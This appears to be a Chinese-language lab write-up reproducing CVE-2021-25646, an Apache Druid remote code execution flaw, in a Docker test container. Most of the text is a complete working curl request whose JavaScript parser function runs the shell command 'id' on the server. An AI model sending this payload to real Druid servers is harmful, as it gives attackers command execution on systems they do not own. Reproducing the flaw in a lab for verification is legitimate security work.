CVE-2021-25646 Apache Druid 远程代码执行漏洞 (复现)

CVE-2021-25646目录终端下执行docker compose up -d开启容器访问your-ip:8888

发送恶意请求

向目标服务器发送如下 POST 请求，其中包含执行任意命令的 JavaScript 代码

curl -X POST "http://192.168.75.132:8888/druid/indexer/v1/sampler" -H "Host: 192.168.75.132:8888" -H "Accept-Encoding: gzip, deflate" -H "Accept: */*" -H "Accept-Language: en-US;q=0.9,en;q=0.8" -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36" -H "Connection: close" -H "Cache-Control: max-age=0" -H "Content-Type: application/json" -d '{"type":"index","spec":{"ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"/etc","filter":"passwd"}},"dataSchema":{"dataSource":"test","parser":{"parseSpec":{"format":"javascript","timestampSpec":{},"dimensionsSpec":{},"function":"function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec([\"sh\",\"-c\",\"id\"]).getInputStream()).useDelimiter(\"\\\\A\").next();return {timestamp:123123,test: a}}","":{"enabled":"true"}}}}},"samplerConfig":{"numRows":10}}' -o result.txt

后cat result.txt查看文件

运行成功！该漏洞存在